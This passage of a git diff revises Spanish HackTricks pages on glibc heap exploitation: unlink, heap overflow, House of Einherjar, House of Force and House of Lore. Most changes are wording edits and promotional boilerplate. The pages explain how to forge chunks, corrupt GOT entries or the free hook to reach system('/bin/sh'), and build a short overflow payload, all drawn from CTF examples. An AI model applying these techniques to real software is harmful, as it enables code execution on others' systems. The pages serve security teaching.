* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# unlink
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### Código
|
||||
```c
|
||||
|
@ -64,7 +65,7 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
|
|||
```
|
||||
### Explicación Gráfica
|
||||
|
||||
Consulta esta excelente explicación gráfica del proceso de unlink:
|
||||
Revisa esta excelente explicación gráfica del proceso de unlink:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
|
||||
|
||||
|
|
|
@ -1,50 +1,51 @@
|
|||
# Desbordamiento de Montón
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
|
||||
Un desbordamiento de montón es como un [**desbordamiento de pila**](../stack-overflow/) pero en el montón. Básicamente significa que se reservó un espacio en el montón para almacenar algunos datos y **los datos almacenados eran más grandes que el espacio reservado**.
|
||||
Un desbordamiento de montón es como un [**desbordamiento de pila**](../stack-overflow/) pero en el montón. Básicamente significa que se reservó un espacio en el montón para almacenar algunos datos y que **los datos almacenados eran más grandes que el espacio reservado**.
|
||||
|
||||
En los desbordamientos de pila sabemos que algunos registros como el puntero de instrucción o el marco de pila se restaurarán desde la pila y podría ser posible abusar de esto. En el caso de los desbordamientos de montón, **no hay ninguna información sensible almacenada por defecto** en el fragmento de montón que puede ser desbordado. Sin embargo, podría ser información sensible o punteros, por lo que la **críticidad** de esta vulnerabilidad **depende** de **qué datos podrían ser sobrescritos** y cómo un atacante podría abusar de esto.
|
||||
En los desbordamientos de pila sabemos que algunos registros como el puntero de instrucción o el marco de pila se restaurarán desde la pila y podría ser posible abusar de esto. En el caso de los desbordamientos de montón, **no hay ninguna información sensible almacenada por defecto** en el fragmento de montón que puede ser desbordado. Sin embargo, podría ser información sensible o punteros, por lo que la **críticidad** de esta vulnerabilidad **depende** de **qué datos podrían ser sobrescritos** y de cómo un atacante podría abusar de esto.
|
||||
|
||||
{% hint style="success" %}
|
||||
Para encontrar los desbordamientos de desbordamiento, puedes usar los mismos patrones que en los [**desbordamientos de pila**](../stack-overflow/#finding-stack-overflows-offsets).
|
||||
Para encontrar los desbordamientos de montón puedes usar los mismos patrones que en los [**desbordamientos de pila**](../stack-overflow/#finding-stack-overflows-offsets).
|
||||
{% endhint %}
|
||||
|
||||
### Desbordamientos de Pila vs Desbordamientos de Montón
|
||||
|
||||
En los desbordamientos de pila, la disposición y los datos que van a estar presentes en la pila en el momento en que se pueda activar la vulnerabilidad son bastante confiables. Esto se debe a que la pila es lineal, siempre aumentando en memoria colisionante, en **lugares específicos de la ejecución del programa la memoria de la pila generalmente almacena un tipo de datos similar** y tiene una estructura específica con algunos punteros al final de la parte de la pila utilizada por cada función.
|
||||
En los desbordamientos de pila, la disposición y los datos que van a estar presentes en la pila en el momento en que se pueda activar la vulnerabilidad son bastante confiables. Esto se debe a que la pila es lineal, siempre aumentando en memoria colisionante, en **lugares específicos de la ejecución del programa la memoria de la pila suele almacenar un tipo de datos similar** y tiene una estructura específica con algunos punteros al final de la parte de la pila utilizada por cada función.
|
||||
|
||||
Sin embargo, en el caso de un desbordamiento de montón, la memoria utilizada no es lineal, sino que **los fragmentos asignados suelen estar en posiciones separadas de memoria** (no uno al lado del otro) debido a **contenedores y zonas** que separan las asignaciones por tamaño y porque **la memoria previamente liberada se utiliza** antes de asignar nuevos fragmentos. Es **complicado saber el objeto que va a colisionar con el vulnerable** a un desbordamiento de montón. Por lo tanto, cuando se encuentra un desbordamiento de montón, es necesario encontrar una **forma confiable de hacer que el objeto deseado esté a continuación en la memoria** del que puede ser desbordado.
|
||||
Sin embargo, en el caso de un desbordamiento de montón, la memoria utilizada no es lineal, sino que **los fragmentos asignados suelen estar en posiciones separadas de la memoria** (no uno al lado del otro) debido a **contenedores y zonas** que separan las asignaciones por tamaño y porque **la memoria previamente liberada se utiliza** antes de asignar nuevos fragmentos. Es **complicado saber cuál es el objeto que va a colisionar con el vulnerable** a un desbordamiento de montón. Por lo tanto, cuando se encuentra un desbordamiento de montón, es necesario encontrar una **forma confiable de hacer que el objeto deseado esté a continuación en la memoria** del que puede ser desbordado.
|
||||
|
||||
Una de las técnicas utilizadas para esto es el **Aseo de Montón** que se utiliza, por ejemplo, [**en este post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). En el post se explica cómo en el núcleo de iOS, cuando una zona se queda sin memoria para almacenar fragmentos de memoria, la expande en una página de núcleo, y esta página se divide en fragmentos de los tamaños esperados que se utilizarían en orden (hasta la versión 9.2 de iOS, luego estos fragmentos se utilizan de manera aleatoria para dificultar la explotación de estos ataques).
|
||||
Una de las técnicas utilizadas para esto es el **Aseo de Montón** que se utiliza, por ejemplo, [**en este post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). En el post se explica cómo en el núcleo de iOS, cuando una zona se queda sin memoria para almacenar fragmentos de memoria, la expande mediante una página de núcleo, y esta página se divide en fragmentos de los tamaños esperados que se utilizarían en orden (hasta la versión 9.2 de iOS, luego estos fragmentos se utilizan de manera aleatoria para dificultar la explotación de estos ataques).
|
||||
|
||||
Por lo tanto, en el post anterior donde ocurre un desbordamiento de montón, para forzar que el objeto desbordado colisione con un orden de víctimas, varios **`kallocs` son forzados por varios hilos para intentar asegurar que todos los fragmentos libres estén llenos y que se cree una nueva página**.
|
||||
Por lo tanto, en el post anterior donde ocurre un desbordamiento de montón, para forzar que el objeto desbordado colisione con un objeto víctima, se fuerzan varios **`kallocs` mediante varios hilos para intentar asegurar que todos los fragmentos libres estén llenos y que se cree una nueva página**.
|
||||
|
||||
Para forzar este llenado con objetos de un tamaño específico, la **asignación fuera de línea asociada con un puerto mach iOS** es un candidato ideal. Al diseñar el tamaño del mensaje, es posible especificar exactamente el tamaño de la asignación de `kalloc` y cuando se destruye el puerto mach correspondiente, la asignación correspondiente se liberará inmediatamente de vuelta a `kfree`.
|
||||
Para forzar este llenado con objetos de un tamaño específico, la **asignación fuera de línea asociada con un puerto mach de iOS** es un candidato ideal. Al diseñar el tamaño del mensaje, es posible especificar exactamente el tamaño de la asignación de `kalloc` y cuando se destruye el puerto mach correspondiente, la asignación correspondiente se liberará inmediatamente de nuevo a `kfree`.
|
||||
|
||||
Luego, algunos de estos marcadores de posición pueden ser **liberados**. La lista de liberación de **`kalloc.4096` libera elementos en orden de último en entrar, primero en salir**, lo que básicamente significa que si algunos marcadores de posición son liberados y el exploit intenta asignar varios objetos víctimas mientras intenta asignar el objeto vulnerable al desbordamiento, es probable que este objeto sea seguido por un objeto víctima.
|
||||
|
||||
### Ejemplo libc
|
||||
|
||||
[**En esta página**](https://guyinatuxedo.github.io/27-edit\_free\_chunk/heap\_consolidation\_explanation/index.html) es posible encontrar una emulación básica de desbordamiento de montón que muestra cómo sobrescribir el bit previo en uso del siguiente fragmento y la posición del tamaño previo es posible **consolidar un fragmento utilizado** (haciéndolo creer que no se está utilizando) y **luego asignarlo nuevamente** pudiendo sobrescribir datos que se están utilizando en un puntero diferente también.
|
||||
[**En esta página**](https://guyinatuxedo.github.io/27-edit\_free\_chunk/heap\_consolidation\_explanation/index.html) es posible encontrar una emulación básica de desbordamiento de montón que muestra cómo sobrescribir el bit previo en uso del siguiente fragmento y la posición del tamaño previo es posible **consolidar un fragmento utilizado** (haciéndolo creer que no está en uso) y **luego asignarlo nuevamente** pudiendo sobrescribir datos que se están utilizando en un puntero diferente también.
|
||||
|
||||
Otro ejemplo de [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap0/index.html) muestra un ejemplo muy básico de un CTF donde un **desbordamiento de montón** puede ser abusado para llamar a la función ganadora y **obtener la bandera**.
|
||||
|
||||
En el ejemplo [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap1/index.html) es posible ver cómo abusar de un desbordamiento de búfer es posible **sobrescribir en un fragmento cercano una dirección** donde se va a escribir **datos arbitrarios del usuario**.
|
||||
En el ejemplo [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap1/index.html) es posible ver cómo abusando de un desbordamiento de búfer es posible **sobrescribir en un fragmento cercano una dirección** donde se va a escribir **datos arbitrarios del usuario**.
|
||||
|
||||
### Ejemplo ARM64
|
||||
|
||||
|
@ -58,16 +59,17 @@ python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
|||
* Utilizamos una vulnerabilidad de Desbordamiento de Entero para obtener un Desbordamiento de Montón.
|
||||
* Corrompemos punteros a una función dentro de una `struct` del fragmento desbordado para establecer una función como `system` y lograr la ejecución de código.
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,25 +1,26 @@
|
|||
# Casa de Einherjar
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
|
||||
### Código
|
||||
|
||||
* Revisa el ejemplo en [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
|
||||
* O el de [https://guyinatuxedo.github.io/42-house\_of\_einherjar/house\_einherjar\_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house\_of\_einherjar/house\_einherjar\_exp/index.html#house-of-einherjar-explanation) (puede ser necesario llenar el tcache)
|
||||
* O en [https://guyinatuxedo.github.io/42-house\_of\_einherjar/house\_einherjar\_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house\_of\_einherjar/house\_einherjar\_exp/index.html#house-of-einherjar-explanation) (puede ser necesario llenar la tcache)
|
||||
|
||||
### Objetivo
|
||||
|
||||
|
@ -29,7 +30,7 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
* Crear un chunk falso cuando queremos asignar un chunk:
|
||||
* Establecer punteros para que apunten a sí mismos y evadir las comprobaciones de integridad
|
||||
* Desbordamiento de un byte con un byte nulo de un chunk al siguiente para modificar la bandera `PREV_INUSE`.
|
||||
* Desbordar un byte con un byte nulo de un chunk al siguiente para modificar la bandera `PREV_INUSE`.
|
||||
* Indicar en el `prev_size` del chunk abusado por el off-by-null la diferencia entre él mismo y el chunk falso.
|
||||
* El tamaño del chunk falso también debe haber sido establecido en el mismo tamaño para evadir las comprobaciones de integridad.
|
||||
* Para construir estos chunks, necesitarás una fuga de heap.
|
||||
|
@ -40,7 +41,7 @@ Otras formas de apoyar a HackTricks:
|
|||
* Se asignan 2 otros chunks (`B` y `C`).
|
||||
* Abusando del off-by-one en el chunk `B`, se limpia el bit `prev in use` y se sobrescribe los datos de `prev_size` con la diferencia entre el lugar donde se asigna el chunk `C`, al chunk falso `A` generado antes.
|
||||
* Este `prev_size` y el tamaño en el chunk falso `A` deben ser iguales para evadir las comprobaciones.
|
||||
* Luego, se llena el tcache.
|
||||
* Luego, se llena la tcache.
|
||||
* Luego, se libera `C` para que se consolide con el chunk falso `A`.
|
||||
* Luego, se crea un nuevo chunk `D` que comenzará en el chunk falso `A` y cubrirá el chunk `B`.
|
||||
* La casa de Einherjar termina aquí.
|
||||
|
@ -57,3 +58,18 @@ Otras formas de apoyar a HackTricks:
|
|||
* [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
|
||||
* Error de desbordamiento de byte nulo en `strtok`.
|
||||
* Usa House of Einherjar para obtener una situación de chunks superpuestos y termina con envenenamiento de Tcache para obtener un primitivo de escritura arbitraria.
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Casa de la Fuerza
|
||||
# House of Force
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
|
||||
|
@ -28,7 +29,7 @@ Otras formas de apoyar a HackTricks:
|
|||
### Requisitos
|
||||
|
||||
* Un desbordamiento que permita sobrescribir el tamaño del encabezado del fragmento superior (por ejemplo, -1).
|
||||
* Ser capaz de controlar el tamaño de la asignación del montón (heap).
|
||||
* Poder controlar el tamaño de la asignación del montón (heap).
|
||||
|
||||
### Ataque
|
||||
|
||||
|
@ -65,8 +66,23 @@ Luego, hacer otro malloc para obtener un chunk en la dirección objetivo.
|
|||
* [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp)
|
||||
* En `Input your name:` hay una vulnerabilidad inicial que permite filtrar una dirección del heap
|
||||
* Luego en la funcionalidad `Org:` y `Host:` es posible llenar los 64B del puntero `s` cuando se solicita el **nombre de la organización**, que en la pila es seguido por la dirección de v2, que luego es seguido por el **nombre del host** indicado. Como entonces, strcpy va a copiar el contenido de s a un chunk de tamaño 64B, es posible **sobrescribir el tamaño del chunk superior** con los datos introducidos dentro del **nombre del host**.
|
||||
* Ahora que es posible la escritura arbitraria, el GOT de `atoi` fue sobrescrito a la dirección de printf. entonces fue posible filtrar la dirección de `IO_2_1_stderr` _con_ `%24$p`. Y con esta filtración de libc fue posible sobrescribir nuevamente el GOT de `atoi` con la dirección de `system` y llamarlo pasando como parámetro `/bin/sh`
|
||||
* Ahora que la escritura arbitraria es posible, el GOT de `atoi` fue sobrescrito a la dirección de printf. entonces fue posible filtrar la dirección de `IO_2_1_stderr` _con_ `%24$p`. Y con esta filtración de libc fue posible sobrescribir nuevamente el GOT de `atoi` con la dirección de `system` y llamarlo pasando como parámetro `/bin/sh`
|
||||
* Un método alternativo [propuesto en este otro writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#2016-bctf-bcloud), es sobrescribir `free` con `puts`, y luego agregar la dirección de `atoi@got`, en el puntero que luego será liberado para que se filtre y con esta filtración sobrescribir nuevamente `atoi@got` con `system` y llamarlo con `/bin/sh`.
|
||||
* [https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html](https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html)
|
||||
* Hay un UAF que permite reutilizar un chunk que fue liberado sin borrar el puntero. Debido a que hay algunos métodos de lectura, es posible filtrar una dirección de libc escribiendo un puntero a la función free en el GOT aquí y luego llamando a la función de lectura.
|
||||
* Luego, se utilizó House of force (abusando del UAF) para sobrescribir el tamaño del espacio izquierdo con un -1, asignar un chunk lo suficientemente grande para llegar al hook de free, y luego asignar otro chunk que contendrá el hook de free. Luego, escribir en el hook la dirección de `system`, escribir en un chunk `"/bin/sh"` y finalmente liberar el chunk con ese contenido de cadena.
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,27 +1,28 @@
|
|||
# House of Lore | Ataque Small bin
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
